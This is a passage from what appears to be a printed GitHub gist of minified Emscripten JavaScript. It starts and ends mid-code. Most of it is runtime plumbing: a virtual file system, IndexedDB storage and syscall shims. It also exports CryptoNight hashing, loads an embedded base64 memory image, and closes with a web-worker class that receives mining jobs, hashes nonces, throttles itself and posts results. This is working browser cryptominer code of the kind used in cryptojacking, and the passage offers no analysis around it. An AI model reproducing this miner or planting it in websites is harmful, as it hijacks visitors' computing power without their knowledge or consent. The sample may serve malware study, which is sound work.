Math.min(end, datalength - 1); if (typeof lazyArray.chunks[chunkNum] === \"undefined\") {\r\nlazyArray.chunks[chunkNum] = doXHR(start, end) } if (typeof lazyArray.chunks[chunkNum] === \"undefined\") throw new\r\nError(\"doXHR failed!\"); return lazyArray.chunks[chunkNum] })); if (usesGzip || !datalength) { chunkSize = datalength = 1;\r\ndatalength = this.getter(0).length; chunkSize = datalength; console.log(\"LazyFiles on gzip forces download of the whole file\r\nwhen length is accessed\") } this._length = datalength; this._chunkSize = chunkSize; this.lengthKnown = !0 }; if (typeof\r\nXMLHttpRequest !== \"undefined\") { if (!ENVIRONMENT_IS_WORKER) throw \"Cannot do synchronous binary XHRs\r\noutside webworkers in modern browsers. Use --embed-file or --preload-file in emcc\"; var lazyArray = new LazyUint8Array;\r\nObject.defineProperties(lazyArray, { length: { get: (function() { if (!this.lengthKnown) { this.cacheLength() } return\r\nthis._length }) }, chunkSize: { get: (function() { if (!this.lengthKnown) { this.cacheLength() } return this._chunkSize }) }\r\n}); var properties = { isDevice: !1, contents: lazyArray } } else { var properties = { isDevice: !1, url: url } } var node =\r\nFS.createFile(parent, name, properties, canRead, canWrite); if (properties.contents) { node.contents = properties.contents }\r\nelse if (properties.url) { node.contents = null; node.url = properties.url } Object.defineProperties(node, { usedBytes: { get:\r\n(function() { return this.contents.length }) } }); var stream_ops = {}; var keys = Object.keys(node.stream_ops);\r\nkeys.forEach((function(key) { var fn = node.stream_ops[key]; stream_ops[key] = function forceLoadLazyFile() { if\r\n(!FS.forceLoadFile(node)) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } return fn.apply(null, arguments) } }));\r\nstream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) { if (!FS.forceLoadFile(node)) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.EIO) } var contents = stream.node.contents; if (position \u003e= contents.length) return 0;\r\nvar size = Math.min(contents.length - position, length); assert(size \u003e= 0); if (contents.slice) { for (var i = 0; i \u003c size; i++) {\r\nbuffer[offset + i] = contents[position + i] } } else { for (var i = 0; i \u003c size; i++) { buffer[offset + i] = contents.get(position +\r\ni) } } return size }; node.stream_ops = stream_ops; return node }), createPreloadedFile: (function(parent, name, url,\r\ncanRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) { Browser.init(); var fullname = name ?\r\nPATH.resolve(PATH.join2(parent, name)) : parent; var dep = getUniqueRunDependency(\"cp \" + fullname); function\r\nprocessData(byteArray) { function finish(byteArray) { if (preFinish) preFinish(); if (!dontCreateFile) {\r\nFS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn) } if (onload) onload();\r\nremoveRunDependency(dep) } var handled = !1; Module.preloadPlugins.forEach((function(plugin) { if (handled) return; if\r\n(plugin[\"canHandle\"](fullname)) { plugin[\"handle\"](byteArray, fullname, finish, (function() { if (onerror) onerror();\r\nremoveRunDependency(dep) })); handled = !0 } })); if (!handled) finish(byteArray) } addRunDependency(dep); if (typeof\r\nurl == \"string\") { Browser.asyncLoad(url, (function(byteArray) { processData(byteArray) }), onerror) } else {\r\nprocessData(url) } }), indexedDB: (function() { return window.indexedDB || window.mozIndexedDB ||\r\nwindow.webkitIndexedDB || window.msIndexedDB }), DB_NAME: (function() { return \"EM_FS_\" +\r\nwindow.location.pathname }), DB_VERSION: 20, DB_STORE_NAME: \"FILE_DATA\", saveFilesToDB: (function(paths,\r\nonload, onerror) { onload = onload || (function() {}); onerror = onerror || (function() {}); var indexedDB = FS.indexedDB();\r\ntry { var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION) } catch (e) { return onerror(e) }\r\nopenRequest.onupgradeneeded = function openRequest_onupgradeneeded() { console.log(\"creating db\"); var db =\r\nopenRequest.result; db.createObjectStore(FS.DB_STORE_NAME) }; openRequest.onsuccess = function\r\nopenRequest_onsuccess() { var db = openRequest.result; var transaction = db.transaction([FS.DB_STORE_NAME],\r\n\"readwrite\"); var files = transaction.objectStore(FS.DB_STORE_NAME); var ok = 0, fail = 0, total = paths.length; function\r\nfinish() { if (fail == 0) onload(); else onerror() } paths.forEach((function(path) { var putRequest =\r\nfiles.put(FS.analyzePath(path).object.contents, path); putRequest.onsuccess = function putRequest_onsuccess() { ok++; if\r\n(ok + fail == total) finish() }; putRequest.onerror = function putRequest_onerror() { fail++; if (ok + fail == total) finish() }\r\n})); transaction.onerror = onerror }; openRequest.onerror = onerror }), loadFilesFromDB: (function(paths, onload, onerror)\r\n{ onload = onload || (function() {}); onerror = onerror || (function() {}); var indexedDB = FS.indexedDB(); try { var\r\nopenRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION) } catch (e) { return onerror(e) }\r\nopenRequest.onupgradeneeded = onerror; openRequest.onsuccess = function openRequest_onsuccess() { var db =\r\nopenRequest.result; try { var transaction = db.transaction([FS.DB_STORE_NAME], \"readonly\") } catch (e) { onerror(e);\r\nreturn } var files = transaction.objectStore(FS.DB_STORE_NAME); var ok = 0, fail = 0, total = paths.length; function\r\nfinish() { if (fail == 0) onload(); else onerror() } paths.forEach((function(path) { var getRequest = files.get(path);\r\ngetRequest.onsuccess = function getRequest_onsuccess() { if (FS.analyzePath(path).exists) { FS.unlink(path) }\r\nFS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, !0, !0, !0); ok++; if (ok + fail == total)\r\nfinish() }; getRequest.onerror = function getRequest_onerror() { fail++; if (ok + fail == total) finish() } }));\r\ntransaction.onerror = onerror }; openRequest.onerror = onerror }) }; var SYSCALLS = { DEFAULT_POLLMASK: 5,\r\nmappings: {}, umask: 511, calculateAt: (function(dirfd, path) { if (path[0] !== \"/\") { var dir; if (dirfd === -100) { dir =\r\nFS.cwd() } else { var dirstream = FS.getStream(dirfd); if (!dirstream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);\r\ndir = dirstream.path } path = PATH.join2(dir, path) } return path }), doStat: (function(func, path, buf) { try { var stat =\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 16 of 20\n\nfunc(path) } catch (e) { if (e \u0026\u0026 e.node \u0026\u0026 PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) { return -\r\nERRNO_CODES.ENOTDIR } throw e } HEAP32[buf \u003e\u003e 2] = stat.dev; HEAP32[buf + 4 \u003e\u003e 2] = 0; HEAP32[buf + 8 \u003e\u003e 2]\r\n= stat.ino; HEAP32[buf + 12 \u003e\u003e 2] = stat.mode; HEAP32[buf + 16 \u003e\u003e 2] = stat.nlink; HEAP32[buf + 20 \u003e\u003e 2] = stat.uid;\r\nHEAP32[buf + 24 \u003e\u003e 2] = stat.gid; HEAP32[buf + 28 \u003e\u003e 2] = stat.rdev; HEAP32[buf + 32 \u003e\u003e 2] = 0; HEAP32[buf + 36 \u003e\u003e\r\n2] = stat.size; HEAP32[buf + 40 \u003e\u003e 2] = 4096; HEAP32[buf + 44 \u003e\u003e 2] = stat.blocks; HEAP32[buf + 48 \u003e\u003e 2] =\r\nstat.atime.getTime() / 1e3 | 0; HEAP32[buf + 52 \u003e\u003e 2] = 0; HEAP32[buf + 56 \u003e\u003e 2] = stat.mtime.getTime() / 1e3 | 0;\r\nHEAP32[buf + 60 \u003e\u003e 2] = 0; HEAP32[buf + 64 \u003e\u003e 2] = stat.ctime.getTime() / 1e3 | 0; HEAP32[buf + 68 \u003e\u003e 2] = 0;\r\nHEAP32[buf + 72 \u003e\u003e 2] = stat.ino; return 0 }), doMsync: (function(addr, stream, len, flags) { var buffer = new\r\nUint8Array(HEAPU8.subarray(addr, addr + len)); FS.msync(stream, buffer, 0, len, flags) }), doMkdir: (function(path,\r\nmode) { path = PATH.normalize(path); if (path[path.length - 1] === \"/\") path = path.substr(0, path.length - 1);\r\nFS.mkdir(path, mode, 0); return 0 }), doMknod: (function(path, mode, dev) { switch (mode \u0026 61440) { case 32768: case\r\n8192: case 24576: case 4096: case 49152: break; default: return -ERRNO_CODES.EINVAL } FS.mknod(path, mode, dev);\r\nreturn 0 }), doReadlink: (function(path, buf, bufsize) { if (bufsize \u003c= 0) return -ERRNO_CODES.EINVAL; var ret =\r\nFS.readlink(path); var len = Math.min(bufsize, lengthBytesUTF8(ret)); var endChar = HEAP8[buf + len];\r\nstringToUTF8(ret, buf, bufsize + 1); HEAP8[buf + len] = endChar; return len }), doAccess: (function(path, amode) { if\r\n(amode \u0026 ~7) { return -ERRNO_CODES.EINVAL } var node; var lookup = FS.lookupPath(path, { follow: !0 }); node =\r\nlookup.node; var perms = \"\"; if (amode \u0026 4) perms += \"r\"; if (amode \u0026 2) perms += \"w\"; if (amode \u0026 1) perms += \"x\"; if\r\n(perms \u0026\u0026 FS.nodePermissions(node, perms)) { return -ERRNO_CODES.EACCES } return 0 }), doDup: (function(path,\r\nflags, suggestFD) { var suggest = FS.getStream(suggestFD); if (suggest) FS.close(suggest); return FS.open(path, flags, 0,\r\nsuggestFD, suggestFD).fd }), doReadv: (function(stream, iov, iovcnt, offset) { var ret = 0; for (var i = 0; i \u003c iovcnt; i++) {\r\nvar ptr = HEAP32[iov + i * 8 \u003e\u003e 2]; var len = HEAP32[iov + (i * 8 + 4) \u003e\u003e 2]; var curr = FS.read(stream, HEAP8, ptr, len,\r\noffset); if (curr \u003c 0) return -1; ret += curr; if (curr \u003c len) break } return ret }), doWritev: (function(stream, iov, iovcnt, offset)\r\n{ var ret = 0; for (var i = 0; i \u003c iovcnt; i++) { var ptr = HEAP32[iov + i * 8 \u003e\u003e 2]; var len = HEAP32[iov + (i * 8 + 4) \u003e\u003e 2];\r\nvar curr = FS.write(stream, HEAP8, ptr, len, offset); if (curr \u003c 0) return -1; ret += curr } return ret }), varargs: 0, get:\r\n(function(varargs) { SYSCALLS.varargs += 4; var ret = HEAP32[SYSCALLS.varargs - 4 \u003e\u003e 2]; return ret }), getStr:\r\n(function() { var ret = Pointer_stringify(SYSCALLS.get()); return ret }), getStreamFromFD: (function() { var stream =\r\nFS.getStream(SYSCALLS.get()); if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF); return stream }),\r\ngetSocketFromFD: (function() { var socket = SOCKFS.getSocket(SYSCALLS.get()); if (!socket) throw new\r\nFS.ErrnoError(ERRNO_CODES.EBADF); return socket }), getSocketAddress: (function(allowNull) { var addrp =\r\nSYSCALLS.get(), addrlen = SYSCALLS.get(); if (allowNull \u0026\u0026 addrp === 0) return null; var info =\r\n__read_sockaddr(addrp, addrlen); if (info.errno) throw new FS.ErrnoError(info.errno); info.addr =\r\nDNS.lookup_addr(info.addr) || info.addr; return info }), get64: (function() { var low = SYSCALLS.get(), high =\r\nSYSCALLS.get(); if (low \u003e= 0) assert(high === 0); else assert(high === -1); return low }), getZero: (function() {\r\nassert(SYSCALLS.get() === 0) }) }; function ___syscall20(which, varargs) { SYSCALLS.varargs = varargs; try { return\r\nPROCINFO.pid } catch (e) { if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } var\r\n___tm_current = STATICTOP; STATICTOP += 48; var ___tm_timezone = allocate(intArrayFromString(\"GMT\"), \"i8\",\r\nALLOC_STATIC); function _gmtime_r(time, tmPtr) { var date = new Date(HEAP32[time \u003e\u003e 2] * 1e3); HEAP32[tmPtr \u003e\u003e\r\n2] = date.getUTCSeconds(); HEAP32[tmPtr + 4 \u003e\u003e 2] = date.getUTCMinutes(); HEAP32[tmPtr + 8 \u003e\u003e 2] =\r\ndate.getUTCHours(); HEAP32[tmPtr + 12 \u003e\u003e 2] = date.getUTCDate(); HEAP32[tmPtr + 16 \u003e\u003e 2] = date.getUTCMonth();\r\nHEAP32[tmPtr + 20 \u003e\u003e 2] = date.getUTCFullYear() - 1900; HEAP32[tmPtr + 24 \u003e\u003e 2] = date.getUTCDay();\r\nHEAP32[tmPtr + 36 \u003e\u003e 2] = 0; HEAP32[tmPtr + 32 \u003e\u003e 2] = 0; var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0,\r\n0); var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0; HEAP32[tmPtr + 28 \u003e\u003e 2] = yday; HEAP32[tmPtr + 40 \u003e\u003e\r\n2] = ___tm_timezone; return tmPtr } function _gmtime(time) { return _gmtime_r(time, ___tm_current) } function ___lock()\r\n{} function ___unlock() {} function ___syscall6(which, varargs) { SYSCALLS.varargs = varargs; try { var stream =\r\nSYSCALLS.getStreamFromFD(); FS.close(stream); return 0 } catch (e) { if (typeof FS === \"undefined\" || !(e instanceof\r\nFS.ErrnoError)) abort(e); return -e.errno } } function _emscripten_memcpy_big(dest, src, num) {\r\nHEAPU8.set(HEAPU8.subarray(src, src + num), dest); return dest } function _ftime(p) { var millis = Date.now();\r\nHEAP32[p \u003e\u003e 2] = millis / 1e3 | 0; HEAP16[p + 4 \u003e\u003e 1] = millis % 1e3; HEAP16[p + 6 \u003e\u003e 1] = 0; HEAP16[p + 8 \u003e\u003e 1] =\r\n0; return 0 } function ___syscall140(which, varargs) { SYSCALLS.varargs = varargs; try { var stream =\r\nSYSCALLS.getStreamFromFD(), offset_high = SYSCALLS.get(), offset_low = SYSCALLS.get(), result =\r\nSYSCALLS.get(), whence = SYSCALLS.get(); var offset = offset_low; FS.llseek(stream, offset, whence); HEAP32[result\r\n\u003e\u003e 2] = stream.position; if (stream.getdents \u0026\u0026 offset === 0 \u0026\u0026 whence === 0) stream.getdents = null; return 0 } catch (e)\r\n{ if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function ___syscall146(which,\r\nvarargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(), iov = SYSCALLS.get(),\r\niovcnt = SYSCALLS.get(); return SYSCALLS.doWritev(stream, iov, iovcnt) } catch (e) { if (typeof FS === \"undefined\" || !\r\n(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function ___syscall54(which, varargs) { SYSCALLS.varargs =\r\nvarargs; try { var stream = SYSCALLS.getStreamFromFD(), op = SYSCALLS.get(); switch (op) { case 21505: { if\r\n(!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; case 21506: { if (!stream.tty) return -\r\nERRNO_CODES.ENOTTY; return 0 }; case 21519: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; var argp =\r\nSYSCALLS.get();HEAP32[argp \u003e\u003e 2] = 0; return 0 }; case 21520: { if (!stream.tty) return -ERRNO_CODES.ENOTTY;\r\nreturn -ERRNO_CODES.EINVAL }; case 21531: { var argp = SYSCALLS.get(); return FS.ioctl(stream, op, argp) }; case\r\n21523: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; default: abort(\"bad ioctl syscall \" + op) } } catch (e)\r\n{ if (typeof FS === \"undefined\" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } FS.staticInit();\r\n__ATINIT__.unshift((function() { if (!Module.noFSInit \u0026\u0026 !FS.init.initialized) FS.init() }));\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 17 of 20\n\n__ATMAIN__.push((function() { FS.ignorePermissions = !1 })); __ATEXIT__.push((function() { FS.quit() }));\r\nModule.FS_createFolder = FS.createFolder; Module.FS_createPath = FS.createPath; Module.FS_createDataFile =\r\nFS.createDataFile; Module.FS_createPreloadedFile = FS.createPreloadedFile; Module.FS_createLazyFile =\r\nFS.createLazyFile; Module.FS_createLink = FS.createLink; Module.FS_createDevice = FS.createDevice;\r\nModule.FS_unlink = FS.unlink; __ATINIT__.unshift((function() { TTY.init() })); __ATEXIT__.push((function() {\r\nTTY.shutdown() })); if (ENVIRONMENT_IS_NODE) { var fs = require(\"fs\"); var NODEJS_PATH = require(\"path\");\r\nNODEFS.staticInit() } DYNAMICTOP_PTR = allocate(1, \"i32\", ALLOC_STATIC); STACK_BASE = STACKTOP =\r\nRuntime.alignMemory(STATICTOP); STACK_MAX = STACK_BASE + TOTAL_STACK; DYNAMIC_BASE =\r\nRuntime.alignMemory(STACK_MAX); HEAP32[DYNAMICTOP_PTR \u003e\u003e 2] = DYNAMIC_BASE; staticSealed = !0;\r\nModule.wasmTableSize = 14; Module.wasmMaxTableSize = 14; function invoke_ii(index, a1) { try { return\r\nModule.dynCall_ii(index, a1) } catch (e) { if (typeof e !== \"number\" \u0026\u0026 e !== \"longjmp\") throw e; Module.setThrew(1, 0)\r\n} } function invoke_iiii(index, a1, a2, a3) { try { return Module.dynCall_iiii(index, a1, a2, a3) } catch (e) { if (typeof e !==\r\n\"number\" \u0026\u0026 e !== \"longjmp\") throw e; Module.setThrew(1, 0) } } function invoke_viii(index, a1, a2, a3) { try {\r\nModule.dynCall_viii(index, a1, a2, a3) } catch (e) { if (typeof e !== \"number\" \u0026\u0026 e !== \"longjmp\") throw e;\r\nModule.setThrew(1, 0) } } Module.asmGlobalArg = { \"Math\": Math, \"Int8Array\": Int8Array, \"Int16Array\": Int16Array,\r\n\"Int32Array\": Int32Array, \"Uint8Array\": Uint8Array, \"Uint16Array\": Uint16Array, \"Uint32Array\": Uint32Array,\r\n\"Float32Array\": Float32Array, \"Float64Array\": Float64Array, \"NaN\": NaN, \"Infinity\": Infinity }; Module.asmLibraryArg =\r\n{ \"abort\": abort, \"assert\": assert, \"enlargeMemory\": enlargeMemory, \"getTotalMemory\": getTotalMemory,\r\n\"abortOnCannotGrowMemory\": abortOnCannotGrowMemory, \"invoke_ii\": invoke_ii, \"invoke_iiii\": invoke_iiii,\r\n\"invoke_viii\": invoke_viii, \"_gmtime_r\": _gmtime_r, \"_gmtime\": _gmtime, \"___lock\": ___lock, \"___syscall6\": ___syscall6,\r\n\"___setErrNo\": ___setErrNo, \"___unlock\": ___unlock, \"_ftime\": _ftime, \"_emscripten_memcpy_big\":\r\n_emscripten_memcpy_big, \"___syscall54\": ___syscall54, \"___syscall140\": ___syscall140, \"___syscall20\": ___syscall20,\r\n\"___assert_fail\": ___assert_fail, \"___syscall146\": ___syscall146, \"DYNAMICTOP_PTR\": DYNAMICTOP_PTR,\r\n\"tempDoublePtr\": tempDoublePtr, \"ABORT\": ABORT, \"STACKTOP\": STACKTOP, \"STACK_MAX\": STACK_MAX };\r\nvar asm = Module.asm(Module.asmGlobalArg, Module.asmLibraryArg, buffer); Module.asm = asm; var _cryptonight_hash\r\n= Module._cryptonight_hash = (function() { return Module.asm._cryptonight_hash.apply(null, arguments) }); var\r\ngetTempRet0 = Module.getTempRet0 = (function() { return Module.asm.getTempRet0.apply(null, arguments) }); var _free\r\n= Module._free = (function() { return Module.asm._free.apply(null, arguments) }); var runPostSets = Module.runPostSets =\r\n(function() { return Module.asm.runPostSets.apply(null, arguments) }); var setTempRet0 = Module.setTempRet0 =\r\n(function() { return Module.asm.setTempRet0.apply(null, arguments) }); var establishStackSpace =\r\nModule.establishStackSpace = (function() { return Module.asm.establishStackSpace.apply(null, arguments) }); var\r\n_memmove = Module._memmove = (function() { return Module.asm._memmove.apply(null, arguments) }); var stackSave\r\n= Module.stackSave = (function() { return Module.asm.stackSave.apply(null, arguments) }); var _memset =\r\nModule._memset = (function() { return Module.asm._memset.apply(null, arguments) }); var _malloc = Module._malloc =\r\n(function() { return Module.asm._malloc.apply(null, arguments) }); var _cryptonight_create = Module._cryptonight_create\r\n= (function() { return Module.asm._cryptonight_create.apply(null, arguments) }); var _memcpy = Module._memcpy =\r\n(function() { return Module.asm._memcpy.apply(null, arguments) }); var _emscripten_get_global_libc =\r\nModule._emscripten_get_global_libc = (function() { return Module.asm._emscripten_get_global_libc.apply(null,\r\narguments) }); var stackAlloc = Module.stackAlloc = (function() { return Module.asm.stackAlloc.apply(null, arguments) });\r\nvar setThrew = Module.setThrew = (function() { return Module.asm.setThrew.apply(null, arguments) }); var _sbrk =\r\nModule._sbrk = (function() { return Module.asm._sbrk.apply(null, arguments) }); var _fflush = Module._fflush = (function()\r\n{ return Module.asm._fflush.apply(null, arguments) }); var stackRestore = Module.stackRestore = (function() { return\r\nModule.asm.stackRestore.apply(null, arguments) }); var _cryptonight_destroy = Module._cryptonight_destroy = (function()\r\n{ return Module.asm._cryptonight_destroy.apply(null, arguments) }); var ___errno_location = Module.___errno_location =\r\n(function() { return Module.asm.___errno_location.apply(null, arguments) }); var dynCall_ii = Module.dynCall_ii =\r\n(function() { return Module.asm.dynCall_ii.apply(null, arguments) }); var dynCall_iiii = Module.dynCall_iiii = (function() {\r\nreturn Module.asm.dynCall_iiii.apply(null, arguments) }); var dynCall_viii = Module.dynCall_viii = (function() { return\r\nModule.asm.dynCall_viii.apply(null, arguments) }); Runtime.stackAlloc = Module.stackAlloc; Runtime.stackSave =\r\nModule.stackSave; Runtime.stackRestore = Module.stackRestore; Runtime.establishStackSpace =\r\nModule.establishStackSpace; Runtime.setTempRet0 = Module.setTempRet0; Runtime.getTempRet0 =\r\nModule.getTempRet0; Module.asm = asm; if (memoryInitializer) { if (typeof Module.locateFile === \"function\") {\r\nmemoryInitializer = Module.locateFile(memoryInitializer) } else if (Module.memoryInitializerPrefixURL) {\r\nmemoryInitializer = Module.memoryInitializerPrefixURL + memoryInitializer } if (ENVIRONMENT_IS_NODE ||\r\nENVIRONMENT_IS_SHELL) { var data = Module.readBinary(memoryInitializer); HEAPU8.set(data,\r\nRuntime.GLOBAL_BASE) } else { addRunDependency(\"memory initializer\"); var applyMemoryInitializer =\r\n(function(data) { var barf = Uint8Array.from(atob(raw), c =\u003e c.charCodeAt(0)) HEAPU8.set(barf,\r\nRuntime.GLOBAL_BASE); if (Module.memoryInitializerRequest) delete Module.memoryInitializerRequest.response;\r\nremoveRunDependency(\"memory initializer\") }); function doBrowserLoad() { setTimeout(function() {\r\napplyMemoryInitializer() }, 20) } if (Module.memoryInitializerRequest) { function useRequest() { var request =\r\nModule.memoryInitializerRequest; if (request.status !== 200 \u0026\u0026 request.status !== 0) { console.warn(\"a problem seems to\r\nhave happened with Module.memoryInitializerRequest, status: \" + request.status + \", retrying \" + memoryInitializer);\r\ndoBrowserLoad(); return } applyMemoryInitializer(request.response) } if (Module.memoryInitializerRequest.response) {\r\nsetTimeout(useRequest, 0) } else { Module.memoryInitializerRequest.addEventListener(\"load\", useRequest) } } else {\r\ndoBrowserLoad() } } } function ExitStatus(status) { this.name = \"ExitStatus\"; this.message = \"Program terminated with\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 18 of 20\n\nexit(\" + status + \")\"; this.status = status } ExitStatus.prototype = new Error; ExitStatus.prototype.constructor = ExitStatus;\r\nvar initialStackTop; var preloadStartTime = null; var calledMain = !1; dependenciesFulfilled = function runCaller() { if\r\n(!Module.calledRun) run(); if (!Module.calledRun) dependenciesFulfilled = runCaller }; Module.callMain =\r\nModule.callMain = function callMain(args) { args = args || []; ensureInitRuntime(); var argc = args.length + 1; function pad()\r\n{ for (var i = 0; i \u003c 4 - 1; i++) { argv.push(0) } } var argv = [allocate(intArrayFromString(Module.thisProgram), \"i8\",\r\nALLOC_NORMAL)]; pad(); for (var i = 0; i \u003c argc - 1; i = i + 1) { argv.push(allocate(intArrayFromString(args[i]), \"i8\",\r\nALLOC_NORMAL)); pad() } argv.push(0); argv = allocate(argv, \"i32\", ALLOC_NORMAL); try { var ret =\r\nModule._main(argc, argv, 0); exit(ret, !0) } catch (e) { if (e instanceof ExitStatus) { return } else if (e ==\r\n\"SimulateInfiniteLoop\") { Module.noExitRuntime = !0; return } else { var toLog = e; if (e \u0026\u0026 typeof e === \"object\" \u0026\u0026\r\ne.stack) { toLog = [e, e.stack] } Module.printErr(\"exception thrown: \" + toLog); Module.quit(1, e) } } finally { calledMain =\r\n!0 } }; function run(args) { args = args || Module[\"arguments\"]; if (preloadStartTime === null) preloadStartTime =\r\nDate.now(); if (runDependencies \u003e 0) { return } preRun(); if (runDependencies \u003e 0) return; if (Module.calledRun) return;\r\nfunction doRun() { if (Module.calledRun) return; Module.calledRun = !0; if (ABORT) return; ensureInitRuntime();\r\npreMain(); if (Module.onRuntimeInitialized) Module.onRuntimeInitialized(); if (Module._main \u0026\u0026 shouldRunNow)\r\nModule.callMain(args); postRun() } if (Module.setStatus) { Module.setStatus(\"Running...\"); setTimeout((function() {\r\nsetTimeout((function() { Module.setStatus(\"\") }), 1); doRun() }), 1) } else { doRun() } } Module.run = Module.run = run;\r\nfunction exit(status, implicit) { if (implicit \u0026\u0026 Module.noExitRuntime) { return } if (Module.noExitRuntime) {} else {\r\nABORT = !0; EXITSTATUS = status; STACKTOP = initialStackTop; exitRuntime(); if (Module.onExit)\r\nModule.onExit(status) } if (ENVIRONMENT_IS_NODE) { process.exit(status) } Module.quit(status, new\r\nExitStatus(status)) } Module.exit = Module.exit = exit; var abortDecorators = []; function abort(what) { if (Module.onAbort)\r\n{ Module.onAbort(what) } if (what !== undefined) { Module.print(what); Module.printErr(what); what =\r\nJSON.stringify(what) } else { what = \"\" } ABORT = !0; EXITSTATUS = 1; var extra = \"\\\\nIf this abort() is unexpected,\r\nbuild with -s ASSERTIONS=1 which can give more information.\"; var output = \"abort(\" + what + \") at \" + stackTrace() +\r\nextra; if (abortDecorators) { abortDecorators.forEach((function(decorator) { output = decorator(output, what) })) } throw\r\noutput } Module.abort = Module.abort = abort; if (Module.preInit) { if (typeof Module.preInit == \"function\")\r\nModule.preInit = [Module.preInit]; while (Module.preInit.length \u003e 0) { Module.preInit.pop()() } } var shouldRunNow = !0;\r\nif (Module.noInitialRun) { shouldRunNow = !1 } run(); var CWW = (function() { this.ctx = _cryptonight_create();\r\nthis.throttleWait = 0; this.throttledStart = 0; this.throttledHashes = 0; this.workThrottledBound =\r\nthis.workThrottled.bind(this); this.currentJob = null; this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);\r\nvar heap = Module.HEAPU8.buffer; this.input = new Uint8Array(heap, Module._malloc(84), 84); this.output = new\r\nUint8Array(heap, Module._malloc(32), 32); self.postMessage(\"ready\"); self.onmessage = this.onMessage.bind(this) });\r\nCWW.prototype.onMessage = (function(msg) { var job = msg.data; if (job.verify_id) { this.verify(job); return } if\r\n(!this.currentJob || this.currentJob.job_id !== job.job_id) { this.setJob(job) } if (job.throttle) { this.throttleWait = 1 / (1 -\r\njob.throttle) - 1; this.throttledStart = this.now(); this.throttledHashes = 0; this.workThrottled() } else { this.work() } });\r\nCWW.prototype.destroy = (function() { _cryptonight_destroy(this.ctx) }); CWW.prototype.hexToBytes = (function(hex,\r\nbytes) { var bytes = new Uint8Array(hex.length / 2); for (var i = 0, c = 0; c \u003c hex.length; c += 2, i++) { bytes[i] =\r\nparseInt(hex.substr(c, 2), 16) } return bytes }); CWW.prototype.bytesToHex = (function(bytes) { for (var hex = \"\", i = 0; i \u003c\r\nbytes.length; i++) { hex += (bytes[i] \u003e\u003e\u003e 4).toString(16); hex += (bytes[i] \u0026 15).toString(16) } return hex });\r\nCWW.prototype.meetsTarget = (function(hash, target) { for (var i = 0; i \u003c target.length; i++) { var hi = hash.length - i - 1, ti\r\n= target.length - i - 1; if (hash[hi] \u003e target[ti]) { return !1 } else if (hash[hi] \u003c target[ti]) { return !0 } } return !1 });\r\nCWW.prototype.setJob = (function(job) { this.currentJob = job; this.blob = this.hexToBytes(job.blob);\r\nthis.input.set(this.blob); var target = this.hexToBytes(job.target); if (target.length \u003c= 8) { for (var i = 0; i \u003c target.length; i++)\r\n{ this.target[this.target.length - i - 1] = target[target.length - i - 1] } for (var i = 0; i \u003c this.target.length - target.length; i++) {\r\nthis.target[i] = 255 } } else { this.target = target } }); CWW.prototype.now = (function() { return self.performance ?\r\nself.performance.now() : Date.now() }); CWW.prototype.hash = (function(input, output, length) { var nonce =\r\nMath.random() * 4294967295 + 1 \u003e\u003e\u003e 0; this.input[39] = (nonce \u0026 4278190080) \u003e\u003e 24; this.input[40] = (nonce \u0026\r\n16711680) \u003e\u003e 16; this.input[41] = (nonce \u0026 65280) \u003e\u003e 8; this.input[42] = (nonce \u0026 255) \u003e\u003e 0; _cryptonight_hash(this.ctx,\r\ninput.byteOffset, output.byteOffset, length) }); CWW.prototype.verify = (function(job) { this.blob =\r\nthis.hexToBytes(job.blob); this.input.set(this.blob); for (var i = 0, c = 0; c \u003c job.nonce.length; c += 2, i++) { this.input[39 +\r\ni] = parseInt(job.nonce.substr(c, 2), 16) } _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset,\r\nthis.blob.length); var result = this.bytesToHex(this.output); self.postMessage({ verify_id: job.verify_id, verified: result ===\r\njob.result }) }); CWW.prototype.work = (function() { var hashes = 0; var meetsTarget = !1; var start = this.now(); var\r\nelapsed = 0; do { this.hash(this.input, this.output, this.blob.length); hashes++; meetsTarget = this.meetsTarget(this.output,\r\nthis.target); elapsed = this.now() - start } while (!meetsTarget \u0026\u0026 elapsed \u003c 1e3); var hashesPerSecond = hashes / (elapsed /\r\n1e3); if (meetsTarget) { var nonceHex = this.bytesToHex(this.input.subarray(39, 43)); var resultHex =\r\nthis.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: hashes, job_id:\r\nthis.currentJob.job_id, nonce: nonceHex, result: resultHex }) } else { self.postMessage({ hashesPerSecond:\r\nhashesPerSecond, hashes: hashes }) } }); CWW.prototype.workThrottled = (function() { var start = this.now();\r\nthis.hash(this.input, this.output, this.blob.length); var end = this.now(); var timePerHash = end - start;\r\nthis.throttledHashes++; var elapsed = end - this.throttledStart; var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);\r\nif (this.meetsTarget(this.output, this.target)) { var nonceHex = this.bytesToHex(this.input.subarray(39, 43)); var resultHex =\r\nthis.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes, job_id:\r\nthis.currentJob.job_id, nonce: 